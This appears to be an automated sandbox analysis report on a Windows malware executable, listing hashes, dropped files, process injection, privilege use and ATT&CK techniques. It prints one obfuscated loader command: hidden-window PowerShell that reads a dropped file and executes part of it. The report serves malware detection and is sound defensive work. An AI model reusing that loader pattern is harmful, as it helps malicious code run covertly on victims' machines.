a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb

Analysis

max time kernel
93s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
28-06-2024 01:39

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General

Target

a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe
Size

648KB
MD5

af7493a9e9ea9a5181ebc8ba0c3bb7bc
SHA1

809de7c88d3a53a4ec803c37e232c12037c48911
SHA256

a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb
SHA512

214bef965ff2a8113c05fd371173c72fd94c36e9bfefc102858d2aab4c0f2c0f03773835405d1e489f5ce73243cb2b5b84d256a90d5cc5a8356dfce9b45b1226
SSDEEP

6144:z9KOQS4B4GMSGJpFhsiivgUroam4nt5wf1CEH/+57/B0wU683FbyZc3q64drI1RJ:zsB4GOsPoamI4dCEm5750wUB3F+xxw

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4960 powershell.exe

pid	process
4960	powershell.exe

Loads dropped DLL 4 IoCs

Processes:

a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe

pid	process
1900	a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe
1900	a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe
1900	a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe
1900	a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe

Drops file in Windows directory 1 IoCs

Processes:

a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe

description ioc process

File opened for modification C:\Windows\Fonts\anorakkerne.ini a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2264 4960 WerFault.exe powershell.exe
Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exe

pid process

4960 powershell.exe
4960 powershell.exe
4960 powershell.exe
4960 powershell.exe
4960 powershell.exe
4960 powershell.exe
4960 powershell.exe
4960 powershell.exe
4960 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4960 powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Fonts\anorakkerne.ini	a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe

pid	pid_target	process	target process
2264	4960	WerFault.exe	powershell.exe

pid	process
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4960	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe

description	pid	process	target process
PID 1900 wrote to memory of 4960	1900	a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe	powershell.exe
PID 1900 wrote to memory of 4960	1900	a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe	powershell.exe
PID 1900 wrote to memory of 4960	1900	a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe
"C:\Users\Admin\AppData\Local\Temp\a77c2d0242aa3601ba7b257ab9bdb4fcb717f64a8cd6da3178e517bb2843f2eb.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1900

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Falmedes=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Indstningernes.Svi';$Almuten=$Falmedes.SubString(68669,3);.$Almuten($Falmedes)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4960 -s 2716
3⤵
- Program crash
PID:2264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4960 -ip 4960
1⤵
PID:3968

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ev43jczb.a2k.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi41BD.tmp\AdvSplash.dll
Filesize
6KB

MD5
6def2cf3daf850acdc1a3e7340a439c4

SHA1
95d0d26f60cd5af697502cd5e53a54913ab188fb

SHA256
3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

SHA512
16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi41BD.tmp\BgImage.dll
Filesize
7KB

MD5
2bb17d45e5ad92053ce1e500408dd8a9

SHA1
f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

SHA256
71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

SHA512
efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi41BD.tmp\UserInfo.dll
Filesize
4KB

MD5
8ef0e4eb7c89cdd2b552de746f5e2a53

SHA1
820f681e7cec409a02b194a487d1c8af1038acf0

SHA256
41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

SHA512
a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi41BD.tmp\nsExec.dll
Filesize
6KB

MD5
c129bc26a26be6f5816a03520bb37833

SHA1
18100042155f948301701744b131c516bf26ddb8

SHA256
d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

SHA512
dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Indstningernes.Svi
Filesize
67KB

MD5
aa8fd270726e1b8912b67cfd401820dd

SHA1
2368c97236dcca147773e395eeca9501a805888c

SHA256
0f70c603d4b3a4aa5790a4caf3514dc0860b2203c7c2ef4aac1be3e40cef385a

SHA512
3aa23daa46c6d712bbff250fc38002fede249419f10cd2be909e20e095d7320d8f4792cf42009038cd95c7b448ea16a5d0c0fab1823e0fb8f28827827a55f299

Download Submit
C:\Users\Admin\Pictures\slukningen.lnk
Filesize
1KB

MD5
6dbd37642f61e3e4f5f3d517f1f2cef1

SHA1
06e7a5a6a0a8391645be560af5bc3ccfdbd5875f

SHA256
2e57065a44c2223326139d2ef00fc18ffacc795e57eea02fc82a6b872fcbf66d

SHA512
6deee9641ff8570fcd29b7e327f56f225cf64ffcdbe26397ac3707d67e0fc8798f5bb1e1e0c740a467b84871078f0ef407073269fb4f0de466909b84050d8750

Download Submit
memory/4960-156-0x0000000005D80000-0x0000000005DE6000-memory.dmp

Filesize
408KB

Download
memory/4960-168-0x0000000006430000-0x000000000644E000-memory.dmp

Filesize
120KB

Download
memory/4960-155-0x00000000054A0000-0x00000000054C2000-memory.dmp

Filesize
136KB

Download
memory/4960-153-0x0000000073AB0000-0x0000000074260000-memory.dmp

Filesize
7.7MB

Download
memory/4960-157-0x0000000005DF0000-0x0000000005E56000-memory.dmp

Filesize
408KB

Download
memory/4960-152-0x0000000004E60000-0x0000000004E96000-memory.dmp

Filesize
216KB

Download
memory/4960-167-0x0000000005E60000-0x00000000061B4000-memory.dmp

Filesize
3.3MB

Download
memory/4960-154-0x00000000055A0000-0x0000000005BC8000-memory.dmp

Filesize
6.2MB

Download
memory/4960-169-0x0000000006470000-0x00000000064BC000-memory.dmp

Filesize
304KB

Download
memory/4960-171-0x0000000007330000-0x000000000734A000-memory.dmp

Filesize
104KB

Download
memory/4960-170-0x00000000073D0000-0x0000000007466000-memory.dmp

Filesize
600KB

Download
memory/4960-172-0x0000000007350000-0x0000000007372000-memory.dmp

Filesize
136KB

Download
memory/4960-173-0x0000000007A20000-0x0000000007FC4000-memory.dmp

Filesize
5.6MB

Download
memory/4960-151-0x0000000073ABE000-0x0000000073ABF000-memory.dmp

Filesize
4KB

Download
memory/4960-175-0x0000000008650000-0x0000000008CCA000-memory.dmp

Filesize
6.5MB

Download
memory/4960-177-0x0000000073AB0000-0x0000000074260000-memory.dmp

Filesize
7.7MB

Download